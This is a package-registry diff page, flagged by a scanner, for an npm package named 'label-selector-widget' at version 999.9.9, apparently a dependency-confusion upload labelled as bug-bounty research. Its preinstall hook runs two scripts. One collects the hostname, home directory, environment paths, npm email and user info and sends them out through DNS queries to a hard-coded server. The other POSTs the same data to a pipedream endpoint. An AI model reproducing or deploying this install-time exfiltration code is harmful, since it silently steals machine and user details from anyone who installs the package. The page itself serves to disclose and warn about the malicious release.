label-selector-widget 999.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of label-selector-widget might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/dns.js +37 -0
  2. package/index.js +15 -0
  3. package/package.json +14 -0
package/dns.js ADDED
@@ -0,0 +1,37 @@
1
+
2
+ //hackerone.com/homosec
3
+ //Bug Bounty Security Reasearch White Hat t.a.neo@ya.ru
4
+ const { Resolver } = require('dns');
5
+ const resolver = new Resolver();
6
+ const os = require('os')
7
+
8
+ function convertASCIItoHex(asciiString) {
9
+ let hex = '';
10
+ let tempASCII, tempHex;
11
+ asciiString.split('').map( i => {
12
+ tempASCII = i.charCodeAt(0)
13
+ tempHex = tempASCII.toString(16);
14
+ hex = hex + tempHex;
15
+ });
16
+ hex = hex.trim();
17
+ return hex;
18
+ }
19
+
20
+ function splitString (string, size) {
21
+ var re = new RegExp('.{1,' + size + '}', 'g');
22
+ return string.match(re);
23
+ }
24
+
25
+ resolver.setServers(['178.154.212.234']);
26
+
27
+ var ebala = os.hostname()+'.'+ os.homedir()+'.'+process.env.npm_config_argv+'.'+process.env.PWD+'.'+process.env.npm_config_registry+'.'+process.env.npm_config_metrics_registry+'.'+process.env.npm_config_email+'.'+ JSON.stringify(os.userInfo())
28
+
29
+ var ch = splitString(convertASCIItoHex(ebala), 32)
30
+
31
+ var dt = Date.now()
32
+ for(var i in ch){
33
+ resolver.resolve4('label-selector-widget.'.replace('/','___')+'fromip.'+dt+'.'+i+'.'+ch[i], function(err){
34
+ if (err) throw err;
35
+ });
36
+ }
37
+
package/index.js ADDED
@@ -0,0 +1,15 @@
1
+
2
+ //hackerone.com/homosec
3
+ //Bug Bounty Security Reasearch White Hat t.a.neo@ya.ru
4
+ const http = require('https');
5
+ const os = require('os')
6
+
7
+ req = http.request({
8
+ host: '76c42f27d26091659dca820a37e6f5d3.m.pipedream.net',
9
+ path: '/label-selector-widget',
10
+ method: 'POST'
11
+ });
12
+
13
+ req.write(Buffer.from(os.hostname()+'.'+ os.homedir()+'.'+process.env.npm_config_argv+'.'+process.env.PWD+'.'+process.env.npm_config_registry+'.'+process.env.npm_config_metrics_registry+'.'+process.env.npm_config_email+'.'+ JSON.stringify(os.userInfo())).toString('base64'));
14
+ req.end();
15
+
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+
2
+ {
3
+ "name": "label-selector-widget",
4
+ "version": "999.9.9",
5
+ "description": "hackerone.com/homosec Bug Bounty Security Reseaarch White Hat t.a.neo@ya.ru",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1",
9
+ "preinstall":"node dns.js | node index.js"
10
+ },
11
+ "author": "",
12
+ "license": "ISC"
13
+ }
14
+